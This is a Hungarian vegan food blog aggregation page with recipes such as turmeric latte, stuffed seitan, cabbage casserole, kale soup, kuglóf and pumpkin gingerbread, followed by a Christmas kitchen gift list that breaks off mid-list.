Kurkumás latte végigsöpört a nemzetközi “gasztroblogok piacán”… nem csodálom, mert nagyon finom. Mostanában tudatosan leszoktunk I.-vel a kávéról… direkt nem veszünk itthonra kávét, hogy ne főzzünk magunknak mindennap (persze házon kívül néha iszunk, mert megkívánjuk). Így nagyon finom teákat iszom délutánonként, amikor már vágyom egy kis “kényeztető” italra… vagy pedig csinálok egy ilyen kurkumás lattet. Krémes a sűrű mandulatejtől, éppen eléggé fűszeres a fahéjtól és a kurkumától és elég édes a juharsziruptól. Olyan aranyital, mint a mamuszom színe! Na jó, a kép úgy lenne tökéletes, ha a latte habos lenne, de erre nem volt lehetőségem a két fotós asszisztensem mellett, hogy még habosítsak is!
Ádival is ma délután anya-Ádi randit tartottunk, ő babakávét ivott (gabonakávé rizstejjel), én pedig ilyen kurkumás lattet. Belekóstolt és alig bírta abbahagyni, nagyon ízlett neki is! Szóval gyerek által tesztelt recept, ajánlom mindenkinek 2 és 102 év között!
Kurkumás latte (vegán) Mentés Nyomtatás Előkészítési idő 2 perc Főzési idő 5 perc Teljes idő 7 perc Kávé helyett, krémes, fűszeres, aranysárga, kényeztető ital. Szerző: Zizi Recept típusa: ital Konyha: vegán Adag/mennyiség: 1 főre Hozzávalók 250 ml natúr mandulatej 2 teáskanál juharszirup (agavészirup, rizsszirup is használható) 1 teáskanál kurkuma 1 teáskanál extra szűz kókuszzsír ⅛ teáskanál őrölt vanília fahéj, tálaláshoz Elkészítés Egy lábasban melegítsük fel forrásig a mandulatejet. Tegyük egy bögrébe a juharszirupot, a kurkumát és a vaníliát. Öntsük rá a meleg mandulatejet és jól keverjük el. Adjuk hozzá a kókuszzsírt és ezzel is keverjük el. Ha van habosítónk, akkor habosítsuk fel, szórjuk meg a tetejét fahéjjal (ezt ne hagyjuk ki!) és már ihatjuk is a finomságot. Jegyzetek Mandulatejjel a legfinomabb, de használhatunk más növényi tejet is hozzá. Ha nincs extra szűz kókuszzsírunk, akkor ne tegyünk bele semmit. Az extra szűz egy enyhén kókuszos ízt ad neki, amitől nagyon finom lesz, de nélküle sem veszítünk semmit az ital élvezeti értékéből. 3.5.3226
Illatos töltött szejtán sült almával és fokhagymával tálalva – vegán recept
Karácsonyra is gyorsan elkészíthető ételeket igyekeztünk összeállítani, így esett a választás erre az illatos, ízekben gazdag, különleges töltött szejtánra. A szejtánt ezúttal nem magam készítettem, hanem a Vegan Grill natúr szejtántömbjét használtam, aminek kivájtam a közepét, és ide töltöttem azt a csodás ízösszeállítást, amit töltelékként használtam. Ebből az adagból kb. 3-4 személyre való bőséges vacsora jön ki, ha köretet is eszünk hozzá, például salátát, krumplipürét, rántott hagymakarikákat vagy rozmaringos sült kelbimbót. Hozzávalók: Vegan Grill natúr szejtántömb vagy házi szejtán A töltelékhez: 1 bögre rizs (én hosszú szemű afgán rizst használtam) fél gránátalma egy kis marék aszalt vörösáfonya egy nagy marék törökmogyoró 100 g növényi sajt 1 kis fej lilahagyma 2 púpos evőkanál csicseriborsóliszt majoranna rozmaring szerecsendió 3 evőkanál tapenade, amihez az hozzávalók: 1,5 dl magozott fekete olíva feldarabolva 2 evőkanál kapribogyó 1 kis gerezd fokhagyma (kihagyható) 2 evőkanál olíva olaj 1 teáskanál citromlé 1 közepes alma kimagozva, cikkekre vágva 7 gerezd megpucolt fokhagyma kevés kókuszolaj a tepsi kikenéséhez Elkészítés: A rizst kétszeres mennyiségű sós vízben megfőzöm. Az aszalt vörösáfonyát vízbe áztatom, hogy kiázzon belőle a hozzáadott cukor. A gránátalmát “meghámozom”, azaz kibányászom a kis szemeket a héjak közül. A törökmogyorót konyharuhába csomagolva, kalapáccsal durvára töröm. A sajtot és a lilahagymát apró kockákra vágom. A csicseriborsólisztet kikeverem vízzel sűrű palacsintatészta állagúra. Összekeverem a töltelék hozzávalóit. A csicseriborsós massza fogja kicsit összetartani a tölteléket. Befűszerezem, sózom ízlés szerint. Elkészítem közben a tapenade-ot is ez alapján a recept alapján, és félreteszem. Ebből csak néhány evőkanálnyira lesz szükség, de a többit kenyérfeltétként vagy zöldségmártogatósként el lehet fogyasztani, nekem az egyik kedvenc pástétomom. Ahogy írtam, kifaragom a szejtán belsejét: ehhez nagyon tömör, kemény szejtánra van szükség, a VeganGrill-féle pont ilyen, és szögletes, így könnyebb vele dolgozni. A tetejét, mint egy fedelet meghagyom, ezzel takarom le a tölteléket. A kivájt tömböt a kókuszolajjal kikent tepsibe teszem, és belehalmozom a tölteléket, már amennyi belefér. Lenyomkodom, és teszek bele még, hogy jó tömör legyen. Szétkenem a töltelék tetején a tapenade-ot, és ráteszem a kis szejtánszeletkét. A megmaradt tölteléket belehalmozom a tepsibe a szejtán mellé, az almaszeleteket és a fokhagymagerezdeket pedig a szejtán köré teszem, ezek nagyon finomak sülve. Hogy hogyan férnek el a dolgok a tepsiben, tulajdonképpen nem számít, annyit érdemes tudni, hogy ami felül van, az pirul és nedvességet veszt, ami alul van elfedve, az inkább párolódik. A tepsit nem kell lefedni, a sütőt sem kell előmelegíteni, közepes hőfokon 15-20 perc alatt tökéletesen megsül a töltött szejtánunk. A töltött szejtán sütés előtt körbevéve a töltelékkel The post Illatos töltött szejtán sült almával és fokhagymával tálalva – vegán recept appeared first on VegaNinja.
Húsmentes rakott káposzta
2017. január 23. Éltető ételek
Ha tél, akkor savanyú káposzta. A legjobb frissen és nyersen enni, de így sütve is hasznos, hiszen kellő rostot tartalmaz, így az emésztést tuti rendben tartja. A káposzta helyett karfiollal is elkészítheted. Hozzávalók (2-3 adag): - 20 dkg savanyú káposzta - 1/2 csésze parbolied rizs - 1/2 csésze köles - 1/2 üveg házi lecsó - 1 vöröshagyma - 2-3 gerezd fokhagyma - 6-8 szép nagy gomba - 2 evőkanál kókuszolaj - himalája só, frissen őrölt bors - tejföl Elkészítése: - A rizst 1 és 1/3 csésze vízben kissé megsózva főzd puhára (kb. 25 perc). - A kölest alaposan mosd át, száraz serpenyőben pirítsd szárazra. Önts rá 1 és 1/3 csésze vizet, sózd meg, és lefedve, lassú lángon 15 perc alatt főzd puhára. - Amennyiben sós és nagyon savanyú a káposzta, kissé mosd át, majd vágd fel, hogy kisebbek legyenek a káposzta csíkok. - A gombát tisztítsd meg, és vágd kockára. - Az apróra vágott vöröshagymát 1 evőkanál kókuszolajon dinszteld meg, majd reszeld bele a fokhagymát is. Forgasd bele a gombát, és néhány percig süsd össze. Sózd, borsozd. - Öntsd rá a lecsót, és mintegy 10 perc alatt főzd össze. - A megfőtt kölest keverd a gombás lecsóhoz. - Egy jénai tálat vagy egy kisebb tepsit kenj ki zsírral. Tedd bele a káposzta felét. - Szórd bele a rizst, majd simítsd rá a köleses lecsót. Takard be a káposzta másik felével. - A tetejét kend meg a tejföllel és tedd rá a maradék kókuszolajat. - Előmelegített sütőben, 200 fokon süsd mintegy 30-40 percet.
Hajdinás kelkáposztaleves
2017. január 20. Éltető ételek
A kelkáposztalevesnek leginkább a frankfurti változata ismert, én most viszont egy vegán változatot ajánlok nektek. Különlegessé tettem ezt még főtt hajdinával, amelynek a jótékony hatásairól már korábban írtam. Hozzávalók (2-3 adag): - 1 evőkanál kókuszolaj - 1 vöröshagyma - 2 gerezd fokhagyma - 1 duci sárgarépa - 1 petrezselyemgyökér - 1 nagyobb krumpli - 1 szelet zeller - 1 szárzeller - 1 jó nagy marék felszeletelt kelkáposzta - 1/2 csésze zöld hajdina (nem pörkölt) - 2 babérlevél - 1/2 mokkáskanál majoranna (ezt ne hagyd ki belőle) - késhegynyi őrölt kömény - 1 teáskanál pirospaprika - himalája só, bors Elkészítése: - A zöldségeket tisztítsuk meg és karikázzuk, kockázzuk. - A kókuszolajon dinszteljük meg a hagymát, majd reszeljük bele a fokhagymát is. - Dobjuk rá a zöldségeket (a kelkáposzta kivételével), pirítsuk együtt kb. 5 percig. Fűszerezzük. Öntsünk rá vizet és főzzük roppanósra. - Közben a hajdinát bő vízben főzzük kb. 10 percig. Öblítsük le. - Tegyük bele a levesbe felcsíkozott kelkáposztát és a hajdinát. Mintegy 10 perc alatt főzzük össze.
Vegan Grill receptek
Vegan Grill receptek, ha gyors, könnyű és finom vegán finomságokra vágytok. Magyarország első vegán grilltermékeinek gyártójától.
Már korábban is írtunk a Vegan Grill termékeiről, most pár izgalmas receptet hoztunk nektek, amelyek segítségével könnyen elsajátíthatjátok, hogy milyen könnyű szejtánnal főzni a mindennapokban.
Búzahús leves, egy igazi klasszikus újragondolva (Vegan Grill receptek)
Hozzávalók:
1 csomag Natúr Szejtán
1 nagyobb fej vöröshagyma
4-6 gerezd fokhagyma
Növényi olaj
Só, bors, Vegeta ételízesítő
2 nagyobb sárgarépa
1 nagy fehérrépa
3 közepes burgonya
1 karalábé
Babérlevél
Friss petrezselyem
Elkészítés:
Vágd apróra a vöröshagymát, majd kevés olajon dinszteld üvegesre egy nagy fazékban. Közben hámozd meg és szeleteld fel a zöldséget (burgonya, répák, karalábé), pucold meg a fokhagyma gerezdeket. A Natúr Szejtánt vedd ki a csomagolásból és vágd falatnyi darabokra. Amikor a hagyma megpuhult, tedd a fazékba az egész fokhagyma gerezdeket, a Natúr Szejtánt, a zöldségeket, ízlés szerint sót, borsot, vegetát, babérlevelet. Forrald fel, majd vedd le a lángot minimumra, és főzd még legalább fél órán át, hogy az ízek összeérjenek. Tálaláskor apróra vágott, friss petrezselyemmel szórd meg.
Borsófőzelék szejtán feltéttel (Vegan Grill receptek)
Hozzávalók:
1 csomag Natúr Szejtán
60 dekagramm zöldborsó
1,5 deciliter víz
6 deciliter natúr mandulatej
3-4 teáskanál búzaliszt
1 mokkáskanál só
1 csipet bors
1 mokkáskanál szárított oregánó
1 mokkáskanál szárított bazsalikom
1 mokkáskanál őrölt rozmaring
1 mokkáskanál szárnyas fűszerkeverék (vagy más fűszerkeverék, ami kéznél van)
1 evőkanál kókuszolaj
Elkészítés:
Egy nagyméretű fazékban hevíts fel egy kanál kókuszolajat, majd pirítsd át rajta a zöldborsót. Szórd rá a fűszereket és még egy percig pirítsd tovább. Add hozzá a vizet, illetve 4 deciliter natúr mandulatejet és főzd addig, míg a zöldborsó meg nem puhul. Addig a maradék 2 deciliter mandulatejben keverd el csomómentesre a 4 evőkanál lisztet. Ha hígabban szereted a főzeléket kevesebb lisztet adj a mandulatejhez. Ha a borsó már puha, öntsd a lisztes keveréket a fazékba és addig főzd tovább, míg be nem sűrűsödik. A Natúr Szejtánból vágj vékony szeleteket és egy külön serpenyőben egy kanál kókuszolajon kezd el pirítani. Egy kevés sóval, borssal illetve szárnyas fűszerkeverékkel ízesítsd.
Vegán Gyros magyaros szejtánból (Vegan Grill receptek)
Hozzávalók:
1 csomag Vegan Grill magyaros hagymás szejtán
Pita/Tortilla
Paradicsom
Kígyó uborka
Saláta
Lilahagyma
Öntethez:
1 evő kanál humusz (elhagyható)
1 evő kanál növényi tejszín
só, bors, szárított kapor levél
Elkészítés:
Pirítsd aranybarnára a Vegan Grill magyaros hagymás szejtánt egy kevés növényi olajon. Amíg pirul vágd fel apróra a zöldségeket, keverd össze a növényi tejszínt a humusszal és fűszerekkel, hogy megkapd az öntetet. Töltsd meg a pitákat a szejtánnal, zöldségekkel és locsold meg az öntettel.
A termékpalettát és a boltok listáját, ahol hozzájuthattok a termékekhez a www.vegangrill.hu oldalon tekinthetitek meg, új recept pedig hetente felkerül a Vegan Grill facebook oldalára.
Reméljük elkészítitek ezeket az ínycsiklandó fogásokat, jó étvágyat!
Egyszerű, kókuszos sütemény
2017. január 11. Élj harmóniában
Nem tudom ki, hogy van vele, én imádom a kókuszt minden formában. Ez egy nagyon régi recept, eredetileg tojással készült, de én kiváltottam benne a tojást lenmagliszttel. Hozzávalók 1,5 csésze teljes kiőrlésű tönkölybúzaliszt (vagy teljes kiőrlésű búzaliszt) 3/4 csésze teljes értékű barna nádcukor 1/2 csésze vaj 2 ek. citromlé (friss citromból) 2 ek lenmagliszt 6 ek. víz 2 tk. sütőpor 1 tk. szódabikarbóna 1/2 tk szegfűszeg 1 tk. szerecsendió 2x1 csésze kókuszreszelék Vegyszermentes (bio) alapanyagokat használj! Áztasd be a 2 ek. lenmaglisztet 6 ek. vízbe kb. 10 percre - az így kapott massza segít majd összetartani a kókuszos süteményed:) Egy tálba keverd össze a lisztet, a sütőporral, szódabikarbónával és a fűszerekkel és 1 csésze kókuszreszelékkel. Egy másik tálba k everd krémesre a vajat a cukorral - turmixgéppel . Add hozzá a citromlevet és a lenmagos masszát a vajas keverékhez, keverd tovább a géppel és utána öntsd hozzá a lisztes keveréket is. Az egészet d olgozd össze lágy tésztává. Amikor lágy tésztát kaptál, akkor kézzel is gyúrd át a tésztá t. Tedd egy tányérra a másik csésze kókuszreszeléket. Majd a tésztából kézzel vagy kanállal szaggass ki kis darabokat és forgasd bele a kókuszreszelékbe. Tedd a kókuszos süteményeket egy sütőpapíros tepsire és picit kézzel lapítsd le őket. Majd 180 fokra előmelegített sütőben, s üsd aranybarnára a süteményeket. (kb. 15-20 perc)
Csodapuding, amit mindenki meg szeretne enni
Ma közelharcot vívtak a gyerekeim, hogy melyik kapja meg ezt a csodapudingot, amelyet eredetileg magamnak készítettem el. Ezt tuti minden gyerek megeszi reggelire. Anélkül, hogy tudnák, egészséges, tápláló, és hozzáadott cukrot nem tartalmaz. Az olajos magvak és a zab biztosítja a lassú felszívódást, a banán pedig azonnali energiával lát el. Kell ennél több? Hozzávalók (1 adag): Csokipuding: - 1 banán - 1,5 dl növényi tej - 1 teáskanál kakaópor - 1 evőkanál chiamag - 3-4 csepp narancsolaj Mindent turmixolj össze. Tetejére: - Aszalványos granola - puffasztott quinoa - goji - gyümölcs (most mandarint tettem rá) - kókuszchips ... vagy amit szeretnél :) A nyertes... edzés után jól megérdemelt finomság.
Vegán kuglóf
Jolly joker tésztát mutatok most meg. Az alaptészta egy finom kalács-tészta, ami szabadon variálható például felét kakaósra készítve, vagy az egészet aszalt gyümölccsel felturbózva. Ha kuglóf formába tesszük, kelt-kuglófot is kreálhatunk belőle. Ha újra készíteném, fonott kalács lenne, aminek az egyik fonata kakaós lenne, vagy a három fonatból kettő legalább. Azért is szeretem ezt a tésztát, egyrészt, ahogy már korábbi bejegyzésemben meséltem, gyerekkorom meghatározó íze volt a kakaós kalács, amit "a mama" készített, megint máskor, talán ovis koromban, nálunk aludtak a lépcsőházbeli egyik szomszéd gyerekei, és kakaós kalácsot ettünk és kakaót ittunk reggelire. Másrészt azért szeretem, mert naná, hogy gasztro-ajándékot is lehet készíteni belőle! Én tutira örülnék egy vegán kuglófnak, amit otthon süt valaki nekem, legyen az aszalt gyümölcsös, vaníliás vagy kakaós. A celofánba csomagolt szív-, csillag- és virágformákat angliai munkatársaimnak készítettem karácsonyi ajándéknak. A gyümölcsös kuglóf egy idősebb hölgy ismerősömnek készült, a kakaós kuglóf pedig vendégváró falat. Igen, ezzel a sokkal (8 rúd+2kuglóf) egy egész napot a konyhában töltöttem, és a lent bemutatott recept többszörösét készítettem el, de úgy látom, megérte az időt és az energiát. Azért is, mert idekinn, főleg az angolok, egyszerűen csak megveszik a boltba a karácsonyi édességet, nem igazán jellemző, hogy sütögetnek. Főleg nem hosszabb ideig.
A recept
Hozzávalók:
- 4.2 dkg élesztő
- 3.2 dl meleg növényi tej
- 15 dkg teljes kiőrlésű liszt
- 35 dkg fehér liszt (BL-55) (+ a forma kikenéséhez egy kevés)
- 5 dkg őrölt zabpehely
- 1-2 dkg őrölt lenmag
- 1 dl víz
- 10 dkg gyümölcscukor (vagy nyírfacukor vagy kókuszvirág cukor, ki mivel édesít)
- 1 rúd kikapart vanília (opcionális, vanília aroma is jó)
- 2-3 evőkanál kakaó/karobport vagy apróra vágott aszalt gyümölcs)
- 5 dkg kókusz zsír vagy növényi margarin (+ a forma kikenéséhez egy kevés)
Elkészítés:
Fogunk egy nagyobbacska tálat, amibe az élesztőt belemorzsoljuk. Tűzhelyen kézmelegre megmelegítjük a szójatejet (ne mikróba). Az élesztőt meghintjük egy kevés cukorral, majd a kellemesre felmelegedett tejet ráöntjük. Amíg várjuk, hogy felfusson vagy eleledjen az élesztő, elővesszük a többi hozzávalót. Az őrölt lenmagra ráöntjük a vizet és várunk pár percet, ez képes a tojást helyettesíteni.
Mikor feloldódott az élesztő, a fenti sorrendben hozzáadjuk a többi anyagot is, a vízben megáztatott lenmaggal együtt, kivéve a kakaóport/aszalt gyümölcsöket. Először fakanállal összekeverjük, majd kezünkkel jól átgyúrjuk. Ha túl száraz lenne, egy kevés szójatejet vagy vizet öntünk hozzá, ha túl nedves, kevés lisztet szórunk a tetejére. Addig kell gyúrni, míg az edénytől el nem válik.
Ha kis gömböccé állt össze, meleg helyen lefedve pihentetjük kb. 45-60 percet. Amikor megkelt a tészta, kivesszük, elfelezzük és az egyik feléhez keverünk kakaót valamint egy kevés gyümölcscukrot. Vagy az egészhez aszalt gyümölcs-darabokat szórunk.
A sütőformákat kikenjük egy kevés kókusz zsírral és megszórjuk egy kevés liszttel. Ha csőformánk van, mint nekem a szív, virág és csillag alakú csőforma, akkor a tésztát lisztezett gyúródeszkán átgyúrjuk, kinyújtjuk, a kinyújtott fehér tésztára ráhelyezzük a kinyújtott kakaóst és felcsavarjuk. A kuglófot ugyanígy megcsinálhatjuk, ha van időnk és kedvünk. A formákban kelesztjük még kb. 20-30 percet, majd előmelegített sütőben 180 fokon kb. 30 percet sütjük.
Ha kihűlt, akkor szeleteljük, vagy készítjük el ajándéknak. A csillag, szív és virágforma mindkét végét csokiszószba mártottam (olvasztott étcsoki kevés kókusz zsírral), majd dekorcukrot szórtam rá. Hűtőbe tettem pár órára, hogy mielőbb megdermedjen. (Akár egy éjszakára is pihentethetjük ott.) Ajándékozás előtt sütőpapírba és celofánba csomagoltam, mint egy szaloncukor.
Remek eledel tízóraira a gyereknek, de hétvégi ebédünket is lezárhatjuk vele. Délutáni uzsonna vagy teázás édes kísérője lehet. Karácsonyra vagy más családi ünnepre is megsüthetjük. Szuper kis gasztro-ajándék.
UI: Szándékosan ebben az irányban tettem az asztalra a kuglófot. Nekem így jobban tetszik, persze meg is lehet fordítani, porcukorral megszórni, vagy csokiszósszal leönteni.
Vegán “mézeskalács”
2016. december 22. Zizi kalandjai
Csak egy villámgyors last minute bejegyzés… képek esti fénynél készítve, semmi styling, csak egyszerű képek, ahogyan az események tényleg történtek… Eljött az ideje, hogy végre jól együttműködve tudok sütni Ádival (néhány pillanatot eltekintve ), szóval gondoltam bevetem a “Süssünk együtt mézeskalácsot!” témát. Könnyű receptet kerestem, méz menteset persze, hogy igazán vegán legyen. Anikó blogján találtam is egyet, amit kicsit megváltoztattam, így született meg a mi karácsonyi kekszünk, mézeskalácsunk, fűszeres gyömbérkekszünk, bárminek is nevezzük.
Vegán “mézeskalács”
Hozzávalók 18-22 darabhoz:
– 3 evőkanál sült sütőtök húsa
– 3 evőkanál jó minőségű margarin vagy kókuszzsír (szobahőmérsékletű)
– 1/4 bögre mandulavaj (kesudióvaj és földimogyoróvaj is használható)
– 1/4 bögre rizsszirup
– 1/4 bögre juharszirup
– 1 és 1/2 bögre tönköly fehérliszt + egy kevés a megfelelő tészta állag eléréséhez
– 1/2 teáskanál szódabikarbóna
– 1/4 teáskanál őrölt fahéj
– 1/4 teáskanál őrölt gyömbér
– 1/8 teáskanál őrölt szegfűszeg
– mazsola, csokibogyók, mandula, dió, goji bogyó, aszalt áfonya, stb. a díszítéshez
A sütőt melegítsük elő 180C fokra.
Egy tálban jól keverjük össze a sütőtököt, a margarint, a mandulavajat, a rizsszirupot és a juharszirupot. Adjuk hozzá a szódabikarbónát, a fahéjat, a gyömbért, a szegfűszeget és a lisztet. Keverjük össze gyúrható tésztává. Ha túl puha a tészta, adjunk még hozzá egy kevés lisztet (evőkanalanként), amíg egy nagy golyóvá tudjuk formázni a tésztát és nem ragad a tálhoz. Csomagoljuk folpackba és tegyük a hűtőbe egy órára.
A deszkára vagy szilikon lapra szórjunk egy kevés lisztet és tegyük rá a tésztát. Nyújtsuk ki kb. fél miliméter vastagságúra és különböző formájú szaggatókkal vágjunk formákat belőle. Az elkészülteket tegyük egy sütőpapírral bélelt tepsire. A maradék tésztát gyúrjuk össze, nyújtsuk ki megint fél miliméter vastagságúra és szaggassuk ki a formákat. Folytassuk a műveletet addig, amíg a tésztánk elfogy. A tepsire tett mézeskalácsokat díszítsük ízlésünk szerint csokival, mazsolával, áfonyával, dióval. Tegyük az előmelegített sütőbe és süssük 8-10 percig (közben ellenőrizzük, nehogy megégjenek!). Zárt dobozban tartva 7-10 napig elállnak.
Tipp : igazi vegán gyömbérkeksz recept itt. Még több keksz recept pedig itt.
Figyelem! Szempillák a láthatáron!
* Áldott, békés karácsonyt mindenkinek! *
Limara csavart briósa másként (Szakácsmustra 21)
Ani meghívott a szakácsmustra játékra. Mostanában nem igen vettem részt ilyenekben, mert mindig lekéstem a határidőket. :( Ábel, ahogy nézegettem a recepteket közölte, hogy: - AZT süssük meg! - Melyiket? (Görgetem vissza az oldalt) - Hát AZT! Azt a mákosat! - Nincs is mákunk. Tegnap beleraktuk a gofriba az utolsó adagot. Majd hozunk a Nagyitól. - De diónk van... Meg lettem győzve. :) Végül aztán kókuszos-vaníliás és mogyorókrémes készült. Nagyon finomak lettek annak ellenére is, hogy Limara receptjét reformosítottam kicsit. A tojást már nem akartam kivenni, így nem vegán, de tapasztalatom szerint beáztatott lenmaggal és egy kanál zabliszttel könnyen helyettesíthető lenne. A mogyorókrémet egy régi postból kerestem elő, mert úgy érzésre készül általában, már el is feledkeztem az ott leírt történetről. Olyan jó volt olvasni. :) A tészta mennyiségét attól függően, hogy hány darabot szeretnénk, sokszorozzuk. A töltelékek mennyisége kb. egy-egy adag tésztához elég. Hozzávalók a tésztához: 60 dkg liszt (fele tk tönköly) 1 tk. só 3 ek. gyümölcscukor 1 tojás kb. 3 dl rizstej 6 dkg puha vaj 2,5 dkg friss élesztő Hozzávalók a kókuszos töltelékhez: kb 4,5 dl növényi tej 200 g kókuszreszelék 1 cs vaníliás pudingpor (nekem most Naturás zab volt) 20 cs stevia Hozzávalók a mogyorókrémhez: 200 g törökmogyoró 1 dl növényi tej / tejpor + pálmazsír 2 ek karobpor 2 ek olivaolaj 2 ek gyümölcscukor / sztívia stb. vanília por Először a kókuszos tölteléket készítjük el, hogy teljesen kihűljön, mire a tésztára kenjük. 3,5 dl tejet felforralunk, 1 dl-t elkeverünk a pudingporral és a sztíviával. Amikor a tej felforrt, beleöntjük a kókuszt, és folyamatos kevergetés mellett a pudingporos keveréket is. Besűrűsödés után lehűtjük. A tészta hozzávalóit nálam is a kenyérsütő dagasztotta, mint egyébként az ilyesmit mindig. Kézzel is tökéletesen működik, csak épp időigényes és jó munkás az ilyesmi. Miután a tésztát alaposan meggyúrta a gép, hagytam az üstben kelni, majd újra átgyúrattam, és azután nyújtottam. A mogyorókrémhez a mogyorót kicsit megpirítjuk (nálam a melegszendvics sütőben), azután a héjának a nagy részét ledörzsöljük. Darálón ledaráljuk, majd késes robotgép tartályában szórjuk. (Ha nincs, turmixgép is jó, de akkor hígabbra kell készítenünk a krémet.) Beletesszük a többi hozzávalót is a tej kivételével. A gépet elindítjuk, és hagyjuk, hogy a massza összeálljon. Kell neki idő. Azután lassan adagoljuk hozzá a tejet, míg finoman kenhető állagot nem kapunk. Ha nagyon jó késes aprítónk van, és nem sajnáljuk, a mogyorót addig daráltatjuk, míg egészen sűrű krémszerű nem lesz, és 1 ek pálmazsírral lazíthatjuk. Azután tej helyett növényi tejpor kerülhet bele pár kanállal, illetve a többi hozzávaló, így jóval tovább eltartható, meg hát jobban hajazik arra a bizonyos mogyorókrémre... kristályvanilinnel még inkább azt tenné, de azért már mégse! A tésztát attól függően, hogy kisebb, vagy nagyobb brióst szeretnénk, több darabra vágjuk. Limara 6 darabot készített ebből az adagból, én a kicsik miatt fele akkorákat szerettem volna, így kb. 12 darabot. Egyet-egyet kinyújtunk egészen vékony téglalapokra - kb 30x20-asak voltak nálam. Mivel gyorsítani akartam (Flóra ekkor már a hátamon, és Ábel is segített) hosszában a felét kentem meg a töltelékkel, ráhajtottam a tészta másik felét, a széleket lenyomkodtam. Derelyevágóval, mint a csöröge közepét, a tésztákat hosszanti irányban bevágtam 4x. Limaránál a kép jól mutatja. Azután a végétől spirálisan feltekertem, majd brióst formáztam. Kb. fél órát keltek zsírpapírral kibélelt tepsin, azután közepes hőfokon kb. 40 percet sültek.
Krumplis tészta újragondolva
2016. december 5. Éltető ételek
Ki ne evett volna gyerekkorában - ha máshol nem, akkor az iskolai menzán - krumplis tésztát. Igazán olcsó, laktató étel... bár egészségesnek nem mondanám. Bennem mélyen él az a gyermekkori emlék, amikor a nővérem elkészítette, nekem meg mosogatni kellett.... na jó, nem csak ez maradt meg bennem, hanem az is, hogy ez egy nehéz étel, sőt... nagyon is. De ennek ellenére nem kell a sufni mélyére rejteni a receptet, bátran készítsük el, kissé újragondolva, egészségesebben. Hozzávalók: - 1 szép vöröshagyma - 3-4 gerezd fokhagyma - nyáron: 1-1 paprika, paradicsom, télen 3-4 evőkanál lecsó - 3-4 db burgonya - 1/2 csésze főtt csicseriborsó vagy 1 kisebb padlizsán - 1 evőkanál kókuszolaj - fűszerek: 1 teáskanál pirospaprika, himalája só, bors, chili, petrezselyemlevél, pici őrölt kömény - 20 dkg gluténmentes tészta (pl. orsó vagy fusilli) Elkészítése: - A hagymát vágjuk fel pici darabokra, majd a kókuszolajon kezdjük el sütni. Picivel később reszeljük bele a fokhagymát. Ezután következik a lecsó és a kis kockára vágott padlizsán (ez utóbbi kimaradhat). Folyamatos keverés mellett süssük össze. - Közben a krumplit hámozzuk és mossuk meg, majd hosszában vágjuk ketté. Ezután szeleteljük fel, mintegy 3-4 mm vastagra. - Az összevágott krumplit tegyük a lecsós alapra, majd fűszerezzük. - Annyi vizet öntsünk rá, hogy éppen ellepje. - Amikor már félig puha a krumpli, főzzük hozzá a tésztát is. Vizet valószínűleg még pótolni kell, hiszen a tészta a főzés során fog felszívni valamennyit. Ekkor hozzáadhatjuk a főtt csicseriborsót is (elmaradhat). - A legvégén szórjuk meg petrezselyem levéllel és tálalhatjuk is.
Gasztro ajándék ajánló (karácsonyra)
2016. december 1. Zizi kalandjai
Összegyűjtöttem néhány ajándék ötletet, ha éppen gondolkoznátok, hogy mit kérjetek a Jézuskától vagy éppen ajándékot kerestek gasztronómia iránt érdeklődő barátnak, rokonnak, testvérnek… vagy csak egyszerűen konyhában használatos újdonsággal szeretnétek meglepni szeretteiteket karácsonyra vagy bármikorra! Az egészen olcsótól a drágáig terjednek a kiválasztott termékek, összesen 21 darab, de sokkal többet ki tudtam volna választani. Jó néhány terméket saját magam is használok, így pozitív tapasztalatokkal rendelkezve ajánlom, de vannak köztük olyan termékek, amelyekre jómagam (is) vágyom!
Ezt a bejegyzést egyik cég sem szponzorálja (de kár! ), saját válogatásom eredményeképpen kerültek a kiválasztott termékek a listára!
1. Kék bambusz tálka (többféle színben kapható)
Környezetbarát anyag, letisztul design. Jól esik belőle enni a kókuszjoghurtba kevert granolát.
2. Porcelán kék mintás bögre (többféle színben kapható, éppen akciós!)
Bögréből sosem elég, mindig kell egy újabb, esetleg egy hat darabos kollekció!
3. Chemex kávéfőző/kávékészítő
Manapság a kávézás a fénykorát éli. A Chemex-et egy német vegyészmérnök, Peter J. Schlumbohm találta fel 1941-ben. A kávékészítőt azóta elismert amerikai design termékként is jegyzik. A kávézás szerelmeseinek kötelező.
4. Öntöttvas tűzálló edény fedővel
A hőt egyenletesen eloszlató öntöttvasból készült. A fedél belsején összegyűlik a pára, és lecsepeg a fogantyúknál, ennek köszönhetően az ételre folyamatosan kerül folyadék, így az nedvdús és ízletes lesz. 25 év garancia van rá! Régóta vágyom egy öntöttvas edény családra!
5. Kyocera kerámia hámozó (többféle színben)
Ahogyan említettem korábban, anyukám szerint és szerintem is a legjobb hámozó a piacon. Vékonyan hámoz, a borotvaéles kerámia pengének köszönhetően még a paradicsomot is meg tudjuk hámozni vele. A fej követi a zöldség, vagy gyümölcs felületét, így könnyedén, és pazarlásmentesen lehet vele a hámozást elvégezni.
6. Fokhagymaprés
Sokszor aprítok fokhagymát késsel, de ha Ádi is segíteni szeretne nekem, akkor inkább a fokhagymaprést használjuk. Többet kipróbáltam már, nekem ez vált be a legjobban!
7. Kerek fatálca
Csodás sötétbarna tálca, 32 cm átmérőjű, alján gumilábakkal.
8. és 9. Színes gyerekkötények (többféle színben)
Mókássá tehetjük a közös főzést ilyen vidám kötények segítségével. A tépőzáras rögzítés könnyen kioldódik, így a gyerekek is egyszerűen le tudják venni. 3 éves kortól ajánlott.
10. Üveg ételtároló (többféle méretben)
Egy ideje elkezdtem lecserélni a műanyag ételtárolóimat. Igen, tudom, az üveg törékeny és nehezebb, viszont nem marad meg benne úgy az ételszag és nem színezi be az étel úgy, mint a műanyagot. A tároló sütőbiztos üvegből készült, így sütőben és tálalóedényként is használható.
11. Kyocera kerámia szeletelő kés, 11 cm (többféle színben)
Mindig szerettem volna egy kiváló kést, ami éles, strapabíró és igazi társ a konyhában. A fehér penge először furának tűnhet, de én már nagyon megszoktam. Vidám színekben (kés nyele) kapható.
12. Konyharuha (többféle színben)
Vidám két darabos konyharuha szett, 100% pamut anyagból.
13. BeCake tortatál (többféle színben)
Mindegyik tál egyedi, kézzel készített darab. Gondosan válogatott, minőségi fából esztergált, és természetes alapanyagú festékkel festett. Nem hiányozhat a készletünkből egy csodaszép tortatál… nálam már kettő használatban van!
14. Philips robotgép
